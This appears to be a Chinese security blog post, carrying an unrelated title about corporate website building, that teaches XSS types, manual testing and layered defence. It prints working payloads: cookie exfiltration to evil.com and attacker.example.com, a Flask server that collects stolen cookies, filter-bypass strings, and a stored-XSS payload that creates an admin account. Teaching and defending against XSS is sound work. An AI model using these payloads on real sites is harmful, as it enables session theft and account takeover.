企业官网建设流程全解析

XSS这个东西，很多人听过，也背过几条攻击示例，但真要自己遇到、自己排查、自己写防护方案，往往就说不清楚了。网上资料要么太碎片，要么直接丢Payload你根本不知道怎么拼出来的。这篇文章，我尽量把XSS的核心知识串成一条线：它凭什么能打进来、不同形态之间怎么区分、怎么在真实业务里测出来、以及最后到底怎么防得住。读者不管是刚入门的前端、写接口的后端，还是做安全的同学，看完应该都能对齐一个比较完整的认知框架。

1. XSS的本质：为什么输入框会成为攻击入口

先聊个最根本的问题：XSS明明叫“跨站脚本攻击”，但它在绝大多数场景里，跟“跨站”这俩字关系不大。它的本质是——用户的输入被当成了代码来执行。

正常的数据流应该是：用户输入数据 -> 服务端/前端存储或输出 -> 浏览器渲染成内容。这个链路里，数据和代码的边界是清晰的。但XSS之所以能成立，是因为某个环节把用户输入直接拼进了HTML、JavaScript或者URL这些“代码语境”里，浏览器没办法分辨哪部分是程序、哪部分是数据，于是就把恶意内容当成脚本执行了。

我拿一个最典型的生活类比来说：你在填快递单的时候，收件人姓名栏里写的不只是名字，而是夹带了一句话“顺便把这个箱子拆了看看”。快递员读单子的时候，如果照单全收、不区分“收件人”和“额外指令”，那这活儿就乱套了。XSS就是这个道理——程序把“数据”和“指令”混在一起处理了。

核心核心再核心的一句话：**XSS不是一种漏洞类型，而是一类“代码注入”问题的统称。**它攻击的是浏览器对“可信内容”的信任边界。

从危害上看，XSS能做的事远比你想的要广：窃取Cookie和会话令牌、模拟用户操作（发帖、转账、改密码）、键盘记录、钓鱼页渲染、挖矿脚本植入，甚至配合浏览器漏洞实现更深的穿透。它之所以被称为“跨站”而不是“站内脚本”，是因为传统场景里攻击者通过注入脚本，让受害者的浏览器向攻击者控制的第三方服务器外传数据——这就是“跨站”二字的真实含义。

理解到这个层面，我们继续往下拆类型。

2. 三类XSS的界定与真实攻击面

XSS分三类：反射型、存储型、DOM型。很多人分不清，我换个角度讲——不要按“代码写在哪”来记，要按“恶意代码的生命周期”来记。

2.1 反射型XSS：一次性利用，攻击者负责投递

反射型XSS的特点是：恶意脚本不在目标服务器上保存，而是藏在URL参数里，随着一次请求“反射”回响应页面中。

典型过程：

1. 攻击者构造一个恶意链接：https://xxx.com/search?q=<script>fetch("http://evil.com/?c="+document.cookie)</script>
2. 受害者点击这个链接，浏览器向目标服务器发起带恶意参数的请求。
3. 服务器把这个参数原封不动拼进搜索结果页的HTML里返回。
4. 受害者的浏览器执行了这段脚本，Cookie被外传。

这类攻击的利用门槛其实在于：你需要诱导受害者点击这个链接。所以反射型XSS往往伴随钓鱼邮件、短链接伪装、社交工程等手段。它的一次性特性，也决定了取证比较困难——攻击发生在受害者的浏览器端，服务器日志里只留下一段请求记录。

我在实际测试中看到过不少反射型XSS高发点：搜索框、错误提示页、站内跳转参数（redirect、url、next）、排序参数（sort=asc/desc）等。这些位置的特点是：输入内容会直接回显在页面上，且通常没有任何过滤。

2.2 存储型XSS：持久化驻留，危害指数级上升

存储型XSS也叫持久型XSS，恶意代码被持久化存储在目标服务器上（数据库、文件、缓存），任何用户访问包含该内容页面时都会被执行。

这是三类里危害最大的，因为不需要受害者点击任何链接。攻击者只需要在某个允许输入的位置——发帖、评论、签名、昵称、FAQ反馈——写入恶意代码，接下来所有浏览该页面的用户都会中招。

我来说一个我在模拟测试环境里反复验证过的经典链条：

1. 攻击者在某论坛的昵称栏填入<img src=x onerror="document.location='http://evil.com/steal?c='+document.cookie">。
2. 昵称被存入数据库。
3. 后续有用户访问攻击者的个人主页，页面渲染昵称时触发了onerror事件。
4. 用户Cookie被外传。

存储型XSS最可怕的地方在于它的传染性。如果存储内容出现在后台管理页、运营看板、审计系统里，那么管理员账号可能被直接接管——这就是为什么XSS在某些语境下能变成“间接的垂直越权”。

固定的高发区域包括：评论区、留言板、用户资料、文章标题/标签、聊天记录、订单备注等凡是能被“写进去再被渲染出来”的地方。

2.3 DOM型XSS：纯前端问题，防护思路要换

DOM型XSS和前两类有一个本质区别：恶意载荷根本不经过服务器，或者服务器只是透传了它。整个攻击发生在浏览器前端代码对DOM的操作过程中。

它的问题出在：JavaScript读取了URL参数、localStorage、postMessage等来源的数据，然后通过innerHTML、document.write、eval、outerHTML等危险的DOM操作把数据写入了页面。

我写一个极度简化的代码样例，这类问题在大量老旧前端项目里很常见：

// 从URL获取参数 var name = new URLSearchParams(window.location.search).get('name'); // 直接插入DOM —— 大坑 document.getElementById('welcome').innerHTML = '欢迎您，' + name;

攻击者访问https://xxx.com/index.html?name=<img src=x onerror=alert(document.cookie)>，脚本就直接被innerHTML解析并执行了。

为什么说它的防护思路要换？因为服务端你根本不知道用户输入是什么——请求还是那个请求，参数还是那个参数，只是前端自己把自己坑了。所以DOM型XSS的防御必须落在前端代码层面，服务端WAF基本无能为力。它的隐蔽性也更高，代码审计时如果不专门盯着危险DOM方法列表，很容易漏掉。

为了方便横向对比，我整理了一个一览表：

这三类虽然形态不同，但底层都指向同一个问题——浏览器分不清哪些是可信代码，哪些是不可信数据。理解了这一点，后续的防御方案就都有了逻辑底座。

3. 从验证到利用：手工测试的完整链路

这部分要讲的是：拿到一个目标或一个功能点，怎么系统性地去测XSS。不是说扔个<script>alert(1)</script>进去看弹不弹窗就完了——那是入门玩法，遇到真实系统基本测不出来。

3.1 第一步：输入点枚举与会话环境准备

开始之前先把地图画清楚。一个页面上可能有多个输入点，但每个输入点的输出语境、渲染方式都不一样。我的做法是三步走：

1. 穷举输入点：URL参数、表单字段、请求头（Referer、User-Agent、X-Forwarded-For）、WebSocket消息、postMessage数据，凡是能被外部影响的值都记下来。
2. 确认输出位置：用无害的标记值（比如zzyzx7这样的随机字符串）填充每个输入点，然后在响应HTML里搜索这个值出现在哪里——是出现在标签内部、属性值里、script代码块里，还是出现在注释里、JSON响应里。
3. 区分是否经过编码：看输出值是被HTML实体编码了（<）、URL编码了，还是原样输出。这直接决定了下一步用什么载荷簇。

同时，务必准备好两个浏览器环境：一个登录态下的正常浏览器，用于测试需要身份认证的页面；另一个无痕窗口，用来验证攻击效果是否对所有用户生效。

3.2 第二步：分语境构造载荷

XSS载荷不是拼运气，而是根据输出位置按图索骥。这就要提到一个核心概念——语境（Context），同一个输入点在不同语境下的突破难度完全不同。

我把常见语境和对应载荷格式列出来：

• HTML标签内容语境：<div>INPUT</div>。直接注入标签即可，但<script>在很多场景下会被拦。优先尝试<img src=x onerror=...>、<svg onload=...>、<body onload=...>这类不需要闭合标签的载荷。载荷拼法：<img src=x onerror=alert(document.domain)>。

• HTML属性值语境：<input value="INPUT">。需要先逃逸出引号再闭合标签。载荷示例："><img src=x onerror=alert(document.domain)>，或者属性本身被注入事件处理器：" onfocus="alert(1)" autofocus="。

• JavaScript字符串语境：常见于内联事件或<script>var name = "INPUT"</script>。先闭合字符串再闭合脚本标签：";alert(1);//，如果只需闭合字符串且上下文在同一条语句中，用';alert(1)//也可以。

• URL语境：常见于<a href="INPUT">。如果这里允许javascript:协议，就直接注入javascript:alert(document.domain)。这类在浏览器解析时依然会执行。

每个语境先测“破壁”是否可行——也就是我们注入的引号、尖括号有没有被原样返回。如果输出被HTML实体编码了，HTML语境就封死了；如果引号被反斜杠转义了，JS字符串语境就要另想办法。

3.3 第三步：利用链的验证与数据外传模拟

测试到弹窗不算完，你得证明漏洞能被真正利用，而不只是“有反射”。

这有个专业分工问题：白帽子验证XSS时，一般用弹窗或者打印Cookie标识符来证明可执行；但要评估真实影响，需要模拟一次完整的外传链路。我当时在一个实验环境里模拟过这么一条链路。

攻击端准备一个简单的接收服务器：

# 用Flask搭建一个简易的接收端，用于验证外传 from flask import Flask, request app = Flask(__name__) @app.route('/steal') def steal(): data = request.args.get('c', 'no-cookie') with open('stolen.txt', 'a') as f: f.write(f'{data}\n') return '', 204 if __name__ == '__main__': app.run(host='0.0.0.0', port=8000)

目标页面上构造的Payload：

<script> // 目标页面下的Cookie和外带，模拟真实窃取链路 new Image().src = 'http://attacker.example.com/steal?c=' + encodeURIComponent(document.cookie); </script>

为什么用new Image()而不用fetch？因为<img>请求天然是GET、不受CORS同源策略限制、并且不改变页面导航。在实际的利用链里，这个技巧非常常见。

还需要验证一点：Payload是否在目标域下执行。在浏览器控制台输入document.domain看当前域名，如果Payload的回调里能拿到目标域名下的Cookie、localStorage或者页面结构，那利用链就成立了。

3.4 常见绕过手法：为什么剑走偏锋经常好使

真实世界的XSS测试里，裸的<script>alert(1)</script>大概率被拦。原因很简单：WAF和基础过滤规则基本都带这条特征。所以测试要准备一些常规的绕过思路。

• 大小写混写：<ScRiPt>——很多正则匹配是区分大小写的，但这招只对解析不严格的过滤器有效。
• 事件处理器变体：onerror、onload、onfocus、onmouseover、onpointerenter，每种都可能存在过滤盲区。
• 编码绕过：HTML实体编码、URL编码、Unicode编码、JavaScript的字符串拼接（al"+"ert(1)），多层混合编码在特定解析顺序下有奇效。
• 标签白名单绕过：如果只允许部分标签，尝试<svg>、<math>、<details>、<video>等不常见标签及其事件属性。
• 嵌套构造：在内层标签的事件属性里再写一段外层的标签逃逸。

当时我遇到过一个小程序嵌的WebView页面，常规脚本全被过滤了，最后在<iframe srcdoc="...">属性里绕过了过滤，原因就是过滤器只处理了外部HTML，对srcdoc内部的HTML解析路径没有处理。这类问题在移动端混合应用里比比皆是。

要提醒的是：绕过与反绕过的对抗没有银弹，能突破的核心逻辑永远是“数据与代码的边界在哪里出现了混沌”。

4. 构建有效的XSS防御体系：编码、策略与纵深

测试的手法和技巧讲完了，重头戏是防御。XSS的防御不是单一措施能解决的，它需要从前端、后端、浏览器策略三个层面组成纵深防线。

4.1 输出编码是第一道也是最重要的一道防线

这是我最想强调的一点：输入过滤永远不靠谱，输出编码才是XSS防御的主战场。原因是输入校验很容易被绕过，而且有可能拦截合法数据（比如用户真的想在昵称里填个<号呢？）。而输出编码是站在“一切输入都不可信”的前提下做的，它不试图判断输入是否危险，而是保证不管输入多危险，在输出到特定语境时都不会被当作代码解析。

关于编码，关键在于编码必须匹配输出语境：

具体的编码函数轮子，成熟语言和框架都有现成库：Java源生的Encode.forHtml()、Encode.forJavaScript()；Python的html.escape()；前端框架里Vue的模板插值、React的{text}默认就是转义输出的。实际上，现代框架默认帮我们做了大量编码工作——所以不要关掉框架默认的转义，这在XSS防护中极其重要。

4.2 CSP：给浏览器上一道安全锁

输出编码是解决问题本身的，CSP（Content Security Policy）则是快速止损的。它的核心逻辑是：通过HTTP响应头告诉浏览器，“这个页面只允许从哪些来源加载脚本”。

CSP头配置示例：

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'

这段配置的含义很直白：脚本只能从同源加载，不要给任何外部域名放行，所有<object>、<embed>统统禁用，页面的<base>标签也只能是同源。

配置CSP的时候有两点要特别注意：

1. 不要用unsafe-inline和unsafe-eval。'unsafe-inline'意味着允许内联脚本，而XSS注入的脚本恰恰几乎全是内联的。一旦开了这个口子，CSP的防护就被撕掉一大半。老项目有大量内联脚本的需要改造，可以过渡期先加report-only模式（只上报不拦截），确认没有误报再切换到强制模式。

2. nonce与hash可以作为过渡方案。对必要的内联脚本，用一次性nonce（随机数）或hash白名单来放行，但每次请求的nonce必须不同，不然被攻击者拿到了就形同虚设。

CSP没法百分百阻止XSS——如果代码本身就允许加载外部脚本，CSP策略又恰好被配置得很宽，那也没有办法。但标准配置能极大提高利用门槛。

4.3 打破会话保护的单点依赖：Cookie安全属性与登录态绑定

前面提到XSS最核心的危害之一是窃取Cookie。那这一层有什么防御手段？简单说就是让“偷到Cookie也没什么大用”。

给Set-Cookie加上HttpOnly属性，可以让JavaScript读取不到document.cookie。这个操作成本极低、收益显著，但必须说清楚：它只防Cookie被偷，不防XSS本身。攻击者依然能以用户身份发请求，只是没法直接拿到凭据原文。

防“以用户身份发请求”的关键，是把会话绑定到浏览器指纹上。常见做法包括：

• 服务端绑定Session与设备指纹/UA，检测到异常变化时强制重新登录。
• 敏感操作（改密码、换绑定手机、大额转账）强制二次验证，用额外的OTP机制兜底。
• 对Cookie本身做签名或加密，防止被篡改后重放。

我始终觉得这些措施应该被当作常规工程实践，而不是合规要求——因为XSS利用链越走越深，靠单一会话保护肯定不够。

4.4 输入侧的正确姿势：输入校验解决的不是安全问题

这个观点可能会颠覆一些读者的既有认知：输入校验（过滤）其实不应该承担XSS防御的主要责任，但它仍然可以做，而且做得好能降低其他问题的风险。

正确的做法是：不是“过滤掉<script>”，而是“维护一份字符类型的严格白名单”。比如：

• 手机号：只允许0-9和+、-、空格。
• 邮箱：按RFC标准字符集校验。
• 年龄：必须是正整数且落在合理范围。
• 枚举值（国家代码、时区、性别）：直接走下拉框后端白名单比对。

严格白名单校验的作用不是防攻击，而是保证数据的可预期性，它和输出编码是两道独立且互补的防线。值得提醒的是，字符串长度限制就是一个特别容易被人忽视的简单而有效的约束，很多利用链需要超长Payload才能完成，长度限制直接掐断了这条路。

4.5 前端侧的行为红线：危险API清单与安全DOM操作

前端的防线主要是“别自己把自己卖了”。XSS的根源在代码层面，最值得做的就是封死危险DOM操作的一面。

先列一个我每次做前端代码审计都会对照的清单——只要代码里出现了这些API，就要单独看一遍：

• innerHTML/outerHTML
• document.write()
• eval()（以及new Function()、setTimeout/setInterval传字符串）
• insertAdjacentHTML()
• srcdoc属性
• href、src属性直接拼接用户输入
• postMessage接收到数据后未校验origin即操作DOM

前端正确的替代方案是：

// 不要这样 element.innerHTML = userInput; // 应该这样：用文本节点插入 element.textContent = userInput; // 创建新元素时，用属性设置而不是拼接HTML var img = document.createElement('img'); img.src = 'https://example.com/avatar/' + encodeURIComponent(userInput); img.alt = userInput; document.body.appendChild(img);

textContent和createElement这两个API组合基本能覆盖95%的场景，且完全避开HTML解析器。这类问题在前端工程化程度不高的老项目里特别常见，新项目倒是在框架层默认处理得比较好了。

4.6 纵深协同：把几层防御叠起来

单点防御永远可以被绕过，但纵深防御的意义在于：攻击者必须同时突破多层才能成事。我以一次完整攻击为例来演示防御体系如何协同：

攻击者在评论区留言<img src=x onerror=这段JS去窃取Cookie>。这时候：

1. 存储层如果做了严格白名单校验，这段内容根本进不了数据库。
2. 即使进来了，输出时被框架默认做了HTML实体编码，onerror事件根本不会被浏览器解析。
3. 即使某个历史接口没有编码，页面上的CSP策略也会拦截所有外部脚本的发送请求。
4. 即使CSP配置不当，攻击者拿到了Cookie，由于Cookie带有HttpOnly加上服务端有设备指纹绑定，偷到的凭据也立即失效。

每一道线都是独立存在的，层层拦截。这就是纵深防御的底气。

我也得泼盆冷水，很多防御者在实战时眼里只有“过滤脚本标签”，从来没想过“输出编码之后的标签到底是什么”，这种线性思维真的该改改了。

5. 进阶视角：绕过主流防护的真实案例分析

理论讲完，还是要看实战。下面分享一个我当时在某内部测试环境遇到的案例，用了近一天时间才全链路打通。这个案例不涉及具体目标，但攻击链本身很有代表性。

目标是某内容管理系统的文章编辑模块，所有输入文本都会先被服务端过滤，再返回前端。测试时发现CSP配置为default-src *——国产系统里非常多见的宽松配置，意味着几乎什么资源都能加载。

第一轮尝试，在标题字段提交<script>alert(document.domain)</script>，被过滤。响应里返回的输入变成了alert仅此而已，script、括号、引号被剥掉。过滤规则大概率是黑名单正则。

第二轮尝试payload：<scr<script>ipt>。这是一种被称做“标签纠缠”的绕过，如果过滤器是贪婪匹配、把内层<script>剥掉后剩下的字符串正好是<script>，那浏览器解析时就会执行，而过滤器的逻辑认为它已经清干净了。这个进了。证实了过滤正则可以被绕。

第三轮，写正式利用链时发现一个问题：就算能执行JS，由于HttpOnly，document.cookie拿不到。于是把主目标从“偷Cookie”切换到“模拟管理操作”——当前用户是编辑器权限，构造一个POST请求去创建管理员账号。

这里遇到了新的坎：CSP虽然是default-src *，但是connect-src没有被显式放开，同源POST属于'self'。验证下来，同源fetch可用。于是利用链最终成型：

// 最终利用载荷：把执行结果POST回同源的后台接口 fetch('/admin/user/create', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ username: 'pwned_admin', role: 'admin', rid: new URLSearchParams(window.location.search).get('rid') }) });

这个链路的完整流程是：攻击者在文章标题栏提交经混淆处理后的脚本 -> 每次有管理员或编辑打开该文章页面即触发 -> 创建高权限账号的请求从受害者的会话发出。整条链只有两个前置条件：能绕过一个黑名单过滤（做到了），CSP没有严格限制（默认就是）。

案例复盘出来的教训很清晰：黑名单过滤 + 宽松CSP + 无敏感操作二次校验的组合，约等于给攻击者开了一扇门。而且整个过程服务器日志看起来完全正常——请求来自合法用户会话，载荷经过了正常协议，没有明显的攻击流量特征。

6. 自动化检测与上线前的XSS自检清单

落实到工程日常，没有人肉全量审计的时间和精力，自动化检测和上线自检就很重要了。

6.1 工具链的合理选择与误用边界

XSS相关工具很多，我把自己爬过坑之后的组合推荐一下：

• DAST扫描器：可以覆盖常见参数的自动探测，但最大的问题是漏报率高、上下文理解弱，扫描结果只能当扫描参考不能当扫描结论。
• 浏览器自动化脚本：用Puppeteer或Selenium加载目标页面，注入自定义载荷，然后断言是否执行。这种方式比纯HTTP请求的扫描器有效得多，因为它在真实浏览器里验证了渲染链路。
• 代码审计工具：对前端代码做静态扫描，检出innerHTML、eval等危险调用，配合人工确认。

但要说最有用的，还是我下面这份手工自检清单。工具永远代替不了人脑对业务上下文的理解。

6.2 上线前的XSS自检清单（我每次都要过的）

1. 页面里出现的所有外部数据（URL参数、API响应、localStorage、postMessage），我能列出它们的流向吗？
2. 这些数据流向DOM时，用的是textContent还是innerHTML？如果是后者，数据源是否绝对可信？
3. 服务端渲染模板里，所有变量输出是否都有对应的语境编码？
4. 是否确认了框架的自动转义没有被关闭？关闭的原因是什么？
5. Cookie是否设置了HttpOnly？敏感Cookie有没有额外的Secure和SameSite？
6. CSP头是否已配置？是测试模式还是强制模式？有没有动用unsafe-inline？
7. 用户输入生成的文件名、URL、跳转参数，是否经过严格的协议白名单校验？
8. 任何富文本编辑器、Markdown解析器、SVG上传这些高危功能，是否做过分层消毒？
9. 敏感操作是否有独立的二次校验机制？
10. 前端依赖库是否有已知的XSS相关漏洞？依赖版本有没有被锁定？

建议把这份清单沉淀成团队的提测模板，每个迭代过一遍，成本不高，但能拦住大量“低级但致命”的问题。

7. XSS与新型Web架构的碰撞：前端工程化下的新盲区

最后必须讲一个我观察到的趋势性问题：随着前后端分离架构、云原生化、低代码平台的普及，XSS没有消失，而是换了形态。旧问题在熄灭，新坑在冒头。

7.1 JSONP和CORS配置不当：跨域数据泄露的XSS化

很多老接口还支持JSONP回调，攻击者可以把callback参数指定成恶意函数名，再诱导受害者访问这个带恶意callback的URL。服务器返回的callback=恶意代码被浏览器当JS执行，数据就被泄露了。这在现代架构里是典型的“跨域+XSS”叠加问题，核心修复方式是彻底下线JSONP，改用受控的CORS配置。

7.2 前端路由与状态管理的XSS新出口

SPA应用的数据往往在初始化时从window.__INITIAL_STATE__读取，有些框架为了省事直接服务端渲染输出时把对象塞进内联脚本。如果这个对象里包含用户输入且未做JS语境编码，等于直接把XSS放进前端主干流程里。对此没有什么神奇修复，老老实实做JS字符串编码，或者改用独立的接口拉取初始化数据。

7.3 低代码平台带来的“间接XSS”

现在很多业务用低代码平台搭建表单、列表页。平台通常会在JSON schema里定义组件属性和事件回调，如果这些字段允许自定义表达式，且平台渲染器对表达式求值没有做沙箱隔离，就会形成一个“平台级XSS”。这类问题影响面极大——同一个平台渲染的所有页面全部中招。

我做过的调研结论是：低代码渲染器的底层安全能力，决定了平台上数百个应用的安全水位，单独适配安全措施其实很有限。碰到这种情况，至少得确保：自定义表达式不支持任意JavaScript、动态生成的组件属性不拼接HTML、所有用户输入走框架默认转义。

7.4 AI辅助编码的XSS隐患

现在很多开发者用AI辅助生成代码，AI模型拿训练数据里的“不安全范例”生成innerHTML拼接也不是什么新鲜事。这不是AI的问题，而是使用者的审校义务到了。建议团队把前端代码审查的强制检查点纳入CI——比如用ESLint规则（react/no-danger、no-implied-eval）在提交时自动拦下危险API。让工具在代码库门口就把问题挡住，比上线后再靠扫描器去发现靠谱得多。

写在最后的经验沉淀

打了这么多年的攻防，我对XSS最大的体会是：它永远在变，但底层逻辑始终是那个“数据与代码的边界问题”。只要某个位置把不可信的数据推进了代码解析语境，XSS就会以某种形态出现。所以防御的姿势也很稳定——做语境编码、上CSP、保持纵深冗余、前端远离危险API，把这几条坚持好，绝大多数的坑都可以避开。

最后分享一个我工作中的小习惯：每接一个新的前端项目，第一件事不是看功能，而是全局搜一下innerHTML、document.write、eval这些危险API出现了多少次。这个动作只需要几分钟，却能最快判断这个项目的安全底子。底子好，我们聊业务逻辑；底子差，安全改造就要早点提上日程，越晚越被动。